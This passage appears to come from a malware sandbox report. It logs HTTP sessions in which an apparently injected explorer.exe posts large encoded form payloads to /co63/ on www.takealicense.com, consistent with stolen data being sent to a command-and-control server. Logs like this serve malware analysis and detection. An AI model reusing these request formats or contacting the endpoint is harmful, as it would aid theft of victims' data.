aJElwV=E-~rhUncxJZyyuxEovcgghcoeEvT4yalwhu2jRjxuZGOY7LhdTH06Ic74IINRK6d4ySurky2ZLrfgyv5weRVFjYPT6Cr3jMW5L3qVUnkxHRjpqT3XhCmXrbzErdTyPmjDfI_8hQ5JnLco2wVClhnn4J1T2hhI2~ySRKhzKEA6BzS~TcyM1R1pOaF02eTAVVrAUETeaVDGVHJZPAohl2PPK61dsR7czZU1YvP(cGfb7enH9bY6QJuz3aWIclEngc2Z574tN(tlcYBsgeyra1SvKCHYsJEOloYsboiItr67rt4l3lclpTaT93b(TF72k2fJ75hPi(ZBY23uS1hO3Nu2-7kRyrWEAyB1Qgv1AFGls~sOgzrKO01NH0D7OPG3rIk2B2ScgEmiDyayuxmkDpnzQOs0LbpL9Dj2DzBsOZFlWae8yIqDmA4UaEwW30Yruv2a066xROmOel6OSUVvy5cgLStCosfTdfT5-2DoiKtqZiTXfvKKI5Gm4nc4CQKdNuc0z9lUmzjdhuo5tgqt553mKgpM_AgQlNZi-gwCyIlXeH6v3uetTXlzdiL2GDj3Hzz(Bt3muRIF75PhlF9iG~xD3PON_XEbYZzuIsoPkEoY3WgR63pfA8CFds6vwhAUMKifRGmf_ZBA4PsYHXdhtjnyIEo16Agi-FudbHOEegog2ZeM_eQILmfTe8IYY5CpbowoTGCQwHW9I30N3zdbPyQgo0-IQWVFfTp3XgDz6v6Ge(64AUgZZXFqPgu1vKiw-rwUzuYBpPxHZlWs1cjEKIVbzxnHxi_kNV0l3793hUXpBBIdhjSN5BYxlr9(fBdMP~NttAVSX~imyCg1DQ7g-YksWwlBc~XD_vtFmGgButuR94LTTaaGdnNeoWEJwznOALOUgbNn36WKVF1rvNNEiz45NNMsi6_f_JRIMaxKXKo48zO4pW8UEDim1wmvY2JExZkUIJVA1PZ2hOMzWn7XYwdL7xB5ghiaW0-9x6JxWUtF4C1RZXjFjYE3JKIwfeBURfCEY9eeR4d0sn83WOLAfEvxz3GEzrejv8Q2J7XZBraQelknZy7gUK21HlQyvFiWbOPwp5AzeaqfyWY9xwcXXwm2095p-ucQFth0I0ygEi4Fz7QvGuR7PHZs66b8t0lVQLQOe(6kGwlwSZMHMcsrW4IqIr09G8UUMNMIXCxPTgsOw3ZcrRj8LFPUH5H~a0ylwGWbVokIHPAZu5V9RvMbkPOvQg3ekOMN8bHZti7FLqiA-vQ(EGSI3kyKmTTWkiI4Zf2zQOLnWtonf73GpZUZTs_UJd_t2zUuZE8CleTVxV66cvN67iQWDiPmMHayYeFhA1V29cnucBQthCyfmZtfsV9Sh~-9An9(NuMhoeR0LiHBS7IIgjxrvlIwCcfCNxR9dKTlAo3qdFFwr1mr5Qf~Z26j-u8OU(qmWtPygq2bzcS3Pth(sQKeEn-DuEWbN1mFw0rO4imKUAMWH6od_Cjt730BSqmvenDBcYUIy588f4WPsUeQTudGygkMr3H7SfAgdVX7oP66ihCnBXq~Jgmcja2ooagWNC9Las49UB1dlf5wb(1S3Bs2eTZ1ORSl5XZbD(-0LUIcGGvpgMWKFUBRpiouFzF5dfqku0aJpbbqbT1qCq6EWTHV8RUdXcSeLRLbCLnMYH3QiQ8bpJOtI(zl8ve4oqEPWGAhgi4YHwW1eB3RpzXNrRkFL6GiUuvTVaHNW1IipX6DXH4USQEvZBNeD9FIgQxOqDw7L8ptrvVfPH9coalMfX555aeGVsa3fliy14TAnKMM2SYHkBlTH4dxc2k5OUFDxSy8Q0cTU3uQVygx-zZr6pGSxPhvgTWRYdubQxIT1wf1gix7r71XXpzp_(hAl~OpfucT3YjX60TzqQ6KRBTIeEfJ1aDuBgYS8FNMdhfyRCH1fsHoaB_4HMalUDX4PvI8dbprY3NFCgK05ea9hEcgsksXNaIxr9cXgNnqXqx1ZT6B1VKIdEkdGS2MCDzYin1Jvv1Fo9aCYqH8APBjriRTQz5b87FcbYbNNTEfmebsLxGtsPd7RpvyAhoZUsCQPe8jqSaxFJGciVSmWUnJJDROx17T9nmYSva5UrVyG(QBYlLNplh~Kk0DYgnFInjGaCBN_v1lIW1~dvT(zvXfSFetCtJWjzmN_Z9wjZC5uusqkwZw69-9rahv2Gt8gkVruN1l_LDKjOCZhn3ZMi3h6n5eRWrwiVfE18yP_1_oecwsE3tHvSebXBatzKkqQ5Nq2kcBBcgRyOwvTgRQGItfaPcG4RS2g2ZtgWYRCuME_6vAIFeMvNbjF6-Tu3hyi61r7OM73yvpWmiuHDEvAq_f68xuAfr0esXCkJ7q3NCnLSOkpeDsLr2WDnOWjeyS9Ki~NRvvP15wFvEQzu3E3UyXAza3uafiX~HRZTssOYOPiB8PlsNsHJG9x(XnQrH7e0SZQ1Oyzhc3ybnwWWLa-GYSeuHeSKn8J5uTpzvoEuwLslgyQx4pkNRlJFqgHKaP-AhQXFGJ5pLlPq8v3wOAsVB65EDKgFOY9(x9FQMDUBwIL1bXFKxMsLrrSGU(Y9RV8LHSdmn(51wL13GMU54LsFbp_VdxX~IUgprEKp0FVnXuW0b3hBDK92a5V9XbIm9i-Scx4HkGVGjCjrpNN57wwseLTjDfzeELMEj8RHCXHJiIXP1C69iRi1H~4Jqho5x14wBNPCcxsKyfM~-DboniuTbMmOso9fUyJDksNpllnK9DlHX6ykgFV01O-Ef6PaSYVQ_Eqny6q32EK(rNTJQga9CVJFlfy2YhCMwWC6k7U5HahnkFrz3mMklYVPwX3aHIocDxR~YkG94SjNyb9~bSoslWMVcSiJB5RCIZ_xClZYyA2Myn65-xGNC5-ZAGkCp~dLH9IWB7cmpfS4IVBGaSrwJLJHEsKAAXYJtVvaBXnQU16sgK1CWNNrLl0Dj4X~5UTQxi43-wq2S9c~CwQlhVd0e83PpAyPngPIygiE7SmtC77OHZ0fqNQFvQ4bUX0OVmgTp3Hcl4t4ibeExnXuwcyuOuZJo~VXgma(bEtdTg5LIRWu4520-gfF_NsKLrkb5X5VZFlaATiiy(-753Rzuozy94M9AH6jQAZTaiLmfNe0UXGgNAur5VGxtTCvdS8YOQkokTq9alEm34vjlOqdjRUvVXIotg2v9~wCmrOEsthx_h-vAluuturoUl_xrKdNcIO(VO_WKxMF32tGcvjARKuyhJVLr1892utxC(zX4MPvKiR9srQW3~BIVGNdD(XpQBjst~aQf3FaUFt4qV9frb0pmZjKEdbLOSMU_F4If1Hn2VOjYYN6Zd3LwOumnY4AvnUAHuN7wJGNtGcPEh1aouIf6ZMjr1SdQW8wLpbgtHkx21gfrFY5rILXMmklAyyo1mzsmgLTmo_3-Nqz7nJ27x05SvUKp2FfVVBZWHjez~oyHMdRr92Ys0CMbwx3J(dO3XiIUOkfj0RK12N9a3UtcWkhx2r(DXT4z02Ih81k3tZWtgNNHmXsygswjPqol0CMu~xNgEL6RhakzMRQ2lVDcPb9H3lZSYVRkabZxgLtjENudzJyNEa1QAO13Cphg2MYafSKsfcFrJwk8eg71A_JIv3XUEbSPaVY_qhAeLTzLbBgjO9eHfRzJqrNJ4y23aEMs4jR5OpGhy3O7OaDd(0mZCEPgaKreS-hOpA9cQkQf2yBA85Gl1_6Ju53Wwe308qG5nPxOt4vTsZZL84MqFfus(ULXQm8eU9t6DdUS(2dOKz30avXn8KDSVgQnD1EjQjeGh230DF3oS_D8AHgNP2oTiQ6X5ObsmP8jk5FQAsV3l7UEab5MJAJ1ZL1J91X_hNRBYJnCVVBnrDOWqPugEXD_GsF7hD7X5wJClrUN~JosYzhAfbXi7Nx4obHGV6M-sx(tScoUl9Ihw8uJMCTFdy(uMsrct2uMG1~M4H(EpbV4TeUlLn47(0QHtVSeaupLTwo4cgKJw2LVAN7J6v0CmbjX(IXleUMmuAQXwpGnOf(t1C0-JrBXNIWj(GlwUVD9A3tr2ag4lABOsVMF4OFzC9ZU92EqRGRWPct
Jul 20, 2023 11:45:56.871242046 CEST	666	OUT	Data Raw: 35 4d 7a 51 61 68 7a 48 4a 52 43 5a 63 49 66 54 34 37 55 68 44 61 2d 73 34 4a 72 50 5a 49 42 37 48 6a 42 75 73 42 6a 61 66 74 65 7e 67 77 6d 35 32 71 71 50 4b 62 44 53 78 46 78 36 68 6b 55 42 59 6f 4c 38 71 32 2d 4e 7a 36 35 74 71 28 4d 72 55 77 Data Ascii: 5MzQahzHJRCZcIfT47UhDa-s4JrPZIB7HjBusBjafte~gwm52qqPKbDSxFx6hkUBYoL8q2-Nz65tq(MrUwgYwD6EuFimfL9BN0_9xadM9hgDfnZGRzH75HWIcMcR8czraZOPJdRFsOAcI2ILO1AVamN16GcGRiFuhXx1PtqOsl9RP05K7vagYHNSRX2DxI-XQJkFGoBJvhhD67NCa2TMe~DqD2ZOmdHIvYOAZc4yT9y8eg-5FHe
Jul 20, 2023 11:45:56.871287107 CEST	674	OUT	Data Raw: 79 70 37 65 6e 69 49 63 43 4d 51 68 6f 67 6e 79 6c 62 36 35 67 70 32 71 4e 30 37 79 66 4b 5f 5a 69 33 6e 7e 54 36 5a 69 78 4e 51 38 4e 62 53 28 64 46 34 59 30 65 67 59 4d 55 39 67 55 52 63 6e 78 50 75 31 6f 74 56 44 31 7a 4b 30 66 4c 55 4b 45 28 Data Ascii: yp7eniIcCMQhognylb65gp2qN07yfK_Zi3n~T6ZixNQ8NbS(dF4Y0egYMU9gURcnxPu1otVD1zK0fLUKE(3rjHLcNLaa0i38U3MQ_pqLXeoqz0dSbbqmkHWodZ9cJqxYqkiog5w8ud4wXtwErQ4FX6i~ZRcyo7RKLfJBvs7SVTybyFYPivq(aSynSus2-NOrr1sEuYEw3hjgUkQHmCzXxp7S-tUgptJQfaF(lGqPWZ7e5WvEYPg
Jul 20, 2023 11:45:56.871315956 CEST	681	OUT	Data Raw: 63 4d 4e 6f 74 6a 7a 52 38 61 65 54 4e 78 53 51 70 44 41 4b 72 6e 45 70 46 45 56 69 68 55 49 63 4a 79 64 51 4d 42 6c 53 42 68 36 58 6f 69 49 4c 42 39 7a 71 4c 39 4b 42 78 4d 2d 43 70 53 73 68 45 62 38 39 79 6a 4e 48 33 56 6d 57 54 43 79 4d 30 54 Data Ascii: cMNotjzR8aeTNxSQpDAKrnEpFEVihUIcJydQMBlSBh6XoiILB9zqL9KBxM-CpSshEb89yjNH3VmWTCyM0TlQQZ4T2Jzm1x-UtDcauvW(5b3C3WWs_C7WRFkn7~ZVz0zA7b7mDUkEX6Px90G1dnDzodfmkrLKQ80bgOXJsrdKGF1FEd83uYPGE32b0Fg5YUTAVmwmtXWkB1BZVMPcpY76H5JV00Eva~l1d7MlRB-xp1VFqZy08XT
Jul 20, 2023 11:45:56.871335983 CEST	686	OUT	Data Raw: 41 4a 51 66 74 45 71 47 56 6b 58 55 57 74 51 7a 59 57 70 75 41 46 53 37 76 31 53 72 74 57 57 75 62 7a 48 46 66 4d 4d 50 75 78 4c 73 77 64 39 56 52 39 47 48 57 69 42 7e 72 75 75 6f 47 30 38 6a 57 52 52 43 45 6d 6b 39 63 4d 74 72 41 41 73 75 6f 43 Data Ascii: AJQftEqGVkXUWtQzYWpuAFS7v1SrtWWubzHFfMMPuxLswd9VR9GHWiB~ruuoG08jWRRCEmk9cMtrAAsuoCUrZDyfihvLCnsEvfrn7KaSDoBQRdLVTrWgumHSp3rWHvYSpnJztLJcFxkgtbpQxVqzaWWy-OV147n5HeIZfnXbOCpS46T8rRs2gECjIXMmY61aWi4hQr5vnkCjGiB2_JcY28N2YQh3Iw8HHBhqTmZHiKUnqsLHbYW
Jul 20, 2023 11:45:56.872181892 CEST	687	IN	HTTP/1.1 403 Forbidden Server: awselb/2.0 Date: Thu, 20 Jul 2023 09:45:56 GMT Content-Type: text/html; charset=utf-8 Content-Length: 138 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.5	49726	34.149.87.45	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2023 11:46:15.190228939 CEST	689	OUT	GET /co63/?aJElwV=C9mZAu2amj0/7xzN/ZGYFZ9Os9Pxtlf2WxsFucW+74+VhIoIvzmW589U18pQtRovant4&lz=9rXXjDMXIb6HXH- HTTP/1.1 Host: www.takealicense.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jul 20, 2023 11:46:15.334331036 CEST	690	IN	HTTP/1.1 301 Moved Permanently Content-Length: 0 Location: https://www.takealicense.com/co63?aJElwV=C9mZAu2amj0%2F7xzN%2FZGYFZ9Os9Pxtlf2WxsFucW+74+VhIoIvzmW589U18pQtRovant4&lz=9rXXjDMXIb6HXH- Strict-Transport-Security: max-age=3600 X-Wix-Request-Id: 1689846375.2233686788819076 Age: 0 Cache-Control: no-cache X-Content-Type-Options: nosniff Server: Pepyaka/1.19.10 Accept-Ranges: bytes Date: Thu, 20 Jul 2023 09:46:15 GMT X-Served-By: cache-mxp6953-MXP X-Cache: MISS Server-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_g X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,GXNXSWFXisshliUcwO20NQ1aV/eYQaI5OrqNssi0Z4KvxIl911PKpWsWOzhPjUu/,qquldgcFrj2n046g4RNSVCA9lUGGSSQQI3tXitet/XU=,2d58ifebGbosy5xc+FRaludK2hR3yyHRGDqmxp12QQGKRfFxBID23ME7gOg8AhstxmHv8JmZfQswK4rISLAEpJCJmM3SSAV5HC2c0/ptei4=,2UNV7KOq4oGjA5+PKsX47BDjqNAtrQVFnWu10nx+t+5Wd3xniMsr1HjrszKGvMzr,mNw+yUiq+NSO91VuAKqIn9zgM16/Po/iDX/JwI41ttI=,gSyhVvYt+ZPrXQZcQ10/tZmiz1SOiqsTU3GJmm8Uddc=,pZ8pmqn5qCKnXNQy8ErmK8D5fqmuDbtVbdaoXaNsFfMwnSjqhzzjcR4wo3vcZUw3nCdhy80+Ru8fd2AXHio5HQ== Via: 1.1 google Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.5	49727	34.149.87.45	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2023 11:46:17.363862038 CEST	692	OUT	POST /co63/ HTTP/1.1 Host: www.takealicense.com Connection: close Content-Length: 1484 Cache-Control: no-cache Origin: http://www.takealicense.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.takealicense.com/co63/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 61 4a 45 6c 77 56 3d 4b 66 71 6a 65 49 61 54 72 78 73 72 68 44 4f 75 76 2d 32 4f 61 70 5a 7a 67 6f 33 36 71 48 6a 66 4d 57 63 42 77 5f 36 69 71 4b 4c 56 6f 61 38 6e 69 78 28 47 28 70 51 47 6a 38 49 76 75 41 59 62 59 51 64 45 78 54 52 66 55 4b 39 55 62 33 44 64 71 67 63 4e 39 38 62 70 79 6f 30 62 35 59 4c 38 72 31 34 59 33 78 45 43 79 6c 54 62 47 75 28 37 6b 58 78 34 59 4c 76 4c 64 4e 45 38 6c 47 61 30 4b 47 6a 50 79 32 78 6b 46 4c 79 4a 5a 48 4b 4c 6b 6f 77 70 33 31 77 6d 4c 71 6c 6a 62 70 45 76 49 53 6c 43 62 69 71 76 73 30 6a 4a 50 52 37 59 69 32 52 5f 46 55 76 72 6f 49 61 5a 56 49 59 47 39 49 37 71 47 7a 74 30 33 6c 79 4f 41 71 36 73 55 6f 35 75 56 65 57 55 30 74 42 57 6d 43 31 6b 6d 4e 4a 41 52 4c 58 68 75 47 64 63 4e 37 6e 4f 48 53 7a 43 66 32 7e 59 56 54 37 47 5a 34 7e 68 6b 2d 4d 69 70 65 56 4c 67 33 7e 67 37 6c 6c 68 7e 61 46 75 44 6b 64 46 66 4e 48 53 42 43 33 63 42 59 68 74 4c 64 46 79 76 33 4a 59 6f 56 43 67 31 46 78 57 6b 70 32 4c 51 65 4c 64 61 72 62 73 79 5f 48 38 64 62 51 6d 64 44 57 77 72 59 7a 4b 49 71 4a 6d 58 4b 79 46 72 65 79 36 62 43 42 73 76 38 74 48 37 66 43 65 6c 39 28 30 35 54 57 34 58 45 46 47 58 63 58 71 4b 54 71 71 33 66 31 49 6c 69 6b 48 45 38 79 61 35 54 64 4c 35 44 6a 4d 47 33 30 38 61 53 71 73 72 46 63 53 51 63 46 73 71 56 38 45 64 37 30 49 78 56 75 30 41 37 45 45 75 6b 70 34 30 53 77 46 4c 32 54 4e 66 59 6c 34 39 65 38 63 71 41 47 46 36 6c 59 71 79 78 62 72 50 2d 46 39 62 4f 46 4e 77 67 78 38 4e 67 33 57 47 35 34 49 42 32 66 47 73 49 50 33 65 67 6b 76 28 74 4d 39 78 49 72 69 4e 44 5a 62 30 61 71 65 43 50 4c 77 4a 6d 48 77 48 30 48 5f 52 66 74 30 6c 6a 64 54 4b 46 59 57 32 55 50 2d 65 58 70 4e 64 7a 68 4b 39 35 67 46 45 64 52 66 7a 64 53 51 58 38 69 36 79 4a 6d 30 4f 78 46 47 4a 41 75 55 74 6a 54 36 49 4e 63 6e 61 42 56 69 77 64 6d 31 32 6b 76 42 7a 68 63 32 6a 77 7a 70 70 50 6e 49 31 51 67 76 79 75 53 34 55 6a 7a 59 65 44 64 54 44 50 6e 36 78 38 64 56 35 52 30 67 78 30 44 32 79 4a 54 64 73 6f 38 75 6c 4a 35 62 6c 4c 4e 4f 73 32 77 63 63 77 38 6f 72 68 78 63 4d 36 51 49 35 71 6e 74 46 4a 54 52 43 47 36 4f 66 65 35 73 50 68 65 73 50 5f 30 55 70 4c 73 79 71 52 79 68 48 51 63 63 73 69 75 6e 70 77 28 7a 76 39 4c 43 47 53 6a 4a 52 64 33 31 28 47 43 39 31 6b 4d 6f 49 6d 46 51 4a 53 52 76 4c 65 28 32 74 48 56 35 49 57 75 4e 63 46 51 54 4e 35 55 4e 52 33 44 70 79 50 73 53 6f 63 62 49 57 6f 66 66 61 5a 36 32 7e 61 31 7a 50 56 42 5a 47 69 52 35 35 45 74 52 62 5a 54 49 6d 48 36 63 44 32 43 71 62 4f 54 66 44 56 79 4a 45 66 69 6a 52 38 38 35 4f 4b 61 37 33 4c 4d 43 36 42 36 34 42 35 67 37 41 79 32 41 4d 74 30 59 6e 4c 66 50 43 42 66 37 56 63 38 7a 36 72 6e 34 36 68 5a 31 57 69 48 6e 31 66 69 6e 55 5f 76 64 7a 62 51 5a 42 62 69 38 70 52 54 75 53 57 71 67 75 37 74 64 38 54 4f 4e 74 52 52 36 57 34 44 6f 52 33 62 70 67 44 6e 48 59 36 39 37 70 67 28 5a 33 4a 4b 71 6b 65 28 41 4a 72 32 67 75 61 77 57 32 58 51 51 4a 56 30 71 38 44 6f 37 74 41 6e 6c 7a 70 43 6a 30 47 5a 46 52 35 52 37 76 49 76 54 39 4d 78 49 4b 69 65 74 79 4d 73 4f 4f 41 35 74 46 67 74 67 77 31 77 64 52 5a 68 6b 33 32 51 50 4d 6d 64 51 54 42 38 48 4b 4d 62 78 34 43 38 47 4e 77 6f 46 66 75 49 49 53 76 6c 59 4f 75 36 50 6b 58 36 51 7a 62 56 57 38 30 35 30 35 49 70 6c 4f 34 75 78 31 59 77 45 70 50 79 2d 63 68 45 53 4a 43 51 6f 48 63 62 62 56 6c 48 37 35 39 47 6e 37 62 61 4e 4d 59 4a 43 70 79 76 44 4d 31 6f 64 4e 41 36 4a 71 49 62 56 73 6e 41 6e 32 69 7a 52 7e 71 4b 7a 41 47 4b 38 34 38 4e 50 71 74 49 5f 52 43 64 38 39 4d 43 63 43 6a 63 42 70 39 59 4e 4f 70 5a 48 41 37 4b 5a 66 44 61 46 4e 4b 6d 73 6f 48 56 72 79 4d 56 51 56 63 4c 4f 7e 4b 72 45 52 39 4b 67 52 70 5a 37 45 55 50 4f 55 73 77 47 36 6f 7a 39 4a 66 44 70 75 48 48 67 35 65 34 42 51 66 6e 67 5a 6e 6c 6c 57 66 55 65 79 6f 72 50 4b 58 65 5f 30 45 43 76 55 59 59 31 33 32 74 73 4f 39 68 6a 78 6e 4f 31 4c 74 34 64 48 52 48 73 59 41 78 5a 61 31 37 32 74 4a 54 42 73 52 33 74 4f 4c 57 72 66 38 63 69 6f 4e 42 4f 4b 70 28 56 36 76 56 45 5a 58 78 62 6b 4d 6c 64 46 43 6d 6c 69 77 28 38 64 42 58 52 4b 66 65 5f 47 4a 6f 5a 73 68 28 47 78 45 49 79 68 59 33 42 79 76 62 74 73 39 76 65 63 4d 4e 79 Data Ascii: aJElwV=KfqjeIaTrxsrhDOuv-2OapZzgo36qHjfMWcBw_6iqKLVoa8nix(G(pQGj8IvuAYbYQdExTRfUK9Ub3DdqgcN98bpyo0b5YL8r14Y3xECylTbGu(7kXx4YLvLdNE8lGa0KGjPy2xkFLyJZHKLkowp31wmLqljbpEvISlCbiqvs0jJPR7Yi2R_FUvroIaZVIYG9I7qGzt03lyOAq6sUo5uVeWU0tBWmC1kmNJARLXhuGdcN7nOHSzCf2~YVT7GZ4~hk-MipeVLg3~g7llh~aFuDkdFfNHSBC3cBYhtLdFyv3JYoVCg1FxWkp2LQeLdarbsy_H8dbQmdDWwrYzKIqJmXKyFrey6bCBsv8tH7fCel9(05TW4XEFGXcXqKTqq3f1IlikHE8ya5TdL5DjMG308aSqsrFcSQcFsqV8Ed70IxVu0A7EEukp40SwFL2TNfYl49e8cqAGF6lYqyxbrP-F9bOFNwgx8Ng3WG54IB2fGsIP3egkv(tM9xIriNDZb0aqeCPLwJmHwH0H_Rft0ljdTKFYW2UP-eXpNdzhK95gFEdRfzdSQX8i6yJm0OxFGJAuUtjT6INcnaBViwdm12kvBzhc2jwzppPnI1QgvyuS4UjzYeDdTDPn6x8dV5R0gx0D2yJTdso8ulJ5blLNOs2wccw8orhxcM6QI5qntFJTRCG6Ofe5sPhesP_0UpLsyqRyhHQccsiunpw(zv9LCGSjJRd31(GC91kMoImFQJSRvLe(2tHV5IWuNcFQTN5UNR3DpyPsSocbIWoffaZ62~a1zPVBZGiR55EtRbZTImH6cD2CqbOTfDVyJEfijR885OKa73LMC6B64B5g7Ay2AMt0YnLfPCBf7Vc8z6rn46hZ1WiHn1finU_vdzbQZBbi8pRTuSWqgu7td8TONtRR6W4DoR3bpgDnHY697pg(Z3JKqke(AJr2guawW2XQQJV0q8Do7tAnlzpCj0GZFR5R7vIvT9MxIKietyMsOOA5tFgtgw1wdRZhk32QPMmdQTB8HKMbx4C8GNwoFfuIISvlYOu6PkX6QzbVW80505IplO4ux1YwEpPy-chESJCQoHcbbVlH759Gn7baNMYJCpyvDM1odNA6JqIbVsnAn2izR~qKzAGK848NPqtI_RCd89MCcCjcBp9YNOpZHA7KZfDaFNKmsoHVryMVQVcLO~KrER9KgRpZ7EUPOUswG6oz9JfDpuHHg5e4BQfngZnllWfUeyorPKXe_0ECvUYY132tsO9hjxnO1Lt4dHRHsYAxZa172tJTBsR3tOLWrf8cioNBOKp(V6vVEZXxbkMldFCmliw(8dBXRKfe_GJoZsh(GxEIyhY3Byvbts9vecMNy400YYIAM1pp0xj0jLodLYwKIbjKKqm3OOq8nk0YrhjdxnIKGiuOf44EGOweWaegGT-FN9XBUy8DtXyrtnADaEppiuZOKMVdfN1~fT8XIRUKOy2(533TCDw).).YrZj
Jul 20, 2023 11:46:17.435934067 CEST	732	IN	HTTP/1.1 403 Forbidden Content-Length: 146 Content-Type: text/html X-Wix-Request-Id: 1689846377.39596200702118928 X-Content-Type-Options: nosniff Server: Pepyaka/1.19.10 Accept-Ranges: bytes Date: Thu, 20 Jul 2023 09:46:17 GMT X-Served-By: cache-mxp6968-MXP X-Cache: MISS X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,GXNXSWFXisshliUcwO20NYMupe6WQf6MVMrzEUOojIKTPIdeTaQ6JwDV79BjSUA+,qquldgcFrj2n046g4RNSVLeuNqwcdH46iMA2Je1RdMI= Via: 1.1 google Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.5	49728	34.149.87.45	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2023 11:46:17.390978098 CEST	705	OUT	POST /co63/ HTTP/1.1 Host: www.takealicense.com Connection: close Content-Length: 151296 Cache-Control: no-cache Origin: http://www.takealicense.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.takealicense.com/co63/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 61 4a 45 6c 77 56 3d 4b 66 71 6a 65 4a 54 67 74 42 6f 36 6c 42 71 56 6f 4d 7e 47 65 35 4a 68 6f 50 4f 39 6a 31 44 77 53 52 70 67 77 5f 6d 6d 28 62 36 4d 73 35 6b 6e 71 54 58 46 72 35 51 46 71 63 4a 35 34 41 55 6a 47 7a 64 4d 78 53 6b 34 55 4c 70 58 50 44 6e 55 7e 32 67 61 6c 38 58 56 76 59 67 65 39 64 58 37 72 54 70 48 38 54 6b 43 33 51 48 5a 49 63 57 6e 33 43 42 38 48 5f 50 4a 57 6f 35 79 71 52 6d 38 4d 6c 50 4c 7a 79 70 41 55 62 36 57 58 46 69 7a 6d 4b 67 31 35 6c 30 6c 53 64 45 6f 62 4b 68 55 4c 51 42 73 66 53 79 47 68 51 33 50 5a 7a 44 2d 69 33 55 46 64 46 66 53 77 62 71 69 59 5a 6f 38 32 72 58 71 46 48 67 5f 76 57 4b 4d 64 64 48 70 57 2d 78 39 54 75 6d 78 7a 6f 46 52 6f 79 56 70 6c 4c 56 51 63 4f 75 58 68 6b 74 49 55 35 28 6d 47 79 33 7a 45 47 4f 35 65 44 43 4f 5a 6f 44 31 6e 37 6c 76 6e 62 74 5a 7a 68 53 57 77 55 45 42 35 35 70 32 44 55 73 53 50 64 28 56 65 43 57 31 43 65 64 39 45 64 49 71 74 33 41 5a 69 33 71 79 31 46 39 65 6b 4f 66 77 66 2d 4c 54 58 4a 50 44 79 38 33 38 64 61 68 37 61 69 47 77 72 5f 44 6a 4f 73 56 74 53 4b 7a 43 69 75 6a 73 52 52 6c 5a 76 38 39 54 37 76 61 65 6b 37 58 30 7e 7a 6d 5f 52 45 46 47 4d 4d 58 6f 4b 54 71 69 33 66 30 6b 6c 67 55 54 46 38 36 61 70 69 68 4e 34 31 28 61 58 52 39 50 55 53 71 77 73 45 64 50 55 63 5a 41 71 55 6b 6d 65 62 59 49 77 55 4b 7a 46 61 55 49 35 6d 42 37 36 7a 46 64 46 57 62 64 66 59 35 68 76 4b 77 71 74 68 71 32 37 6c 59 31 39 52 47 78 59 4d 74 58 59 73 64 65 35 48 4e 48 65 67 6a 76 42 5a 73 78 42 55 66 4b 74 4c 72 6a 53 45 31 55 35 66 67 4c 31 36 7a 5f 4a 43 46 44 70 59 75 6c 44 76 33 67 63 54 6a 49 42 32 48 31 52 71 70 59 6b 43 70 48 43 6b 55 70 35 33 4c 73 49 6d 34 56 51 69 5a 72 38 6f 45 52 4b 5f 70 4c 33 39 57 4c 53 36 6a 6c 35 49 76 79 45 6a 70 45 66 79 57 56 73 52 6a 33 41 5a 55 2d 5a 42 59 38 30 64 4b 4b 33 51 4f 6d 34 44 6c 48 37 41 75 66 72 4c 72 71 75 46 63 78 31 4a 7a 4b 54 79 28 35 51 43 46 31 41 66 4c 4a 32 50 6c 57 77 53 41 5a 35 31 62 4b 7e 4e 44 4c 68 76 38 64 7a 4d 56 78 6f 61 30 74 34 32 56 34 52 58 63 77 36 42 73 30 50 34 42 69 36 50 53 5a 43 72 33 77 48 6b 48 30 58 75 74 4f 46 79 4b 63 50 5a 31 42 76 5a 55 4c 67 52 57 6b 59 41 35 6b 71 45 71 6d 71 54 44 38 74 75 6e 58 4a 44 62 69 59 4b 37 45 67 48 79 31 31 7a 6f 46 49 6d 64 4d 4a 42 5a 5f 4b 62 58 32 6e 6b 4e 36 49 78 53 4a 63 31 51 54 59 70 55 6a 63 58 47 35 79 4e 51 53 70 5a 72 49 65 36 7a 64 61 5a 36 6f 35 61 78 54 50 6c 42 75 42 6a 4e 36 35 45 4e 74 62 66 4c 79 6e 48 75 69 49 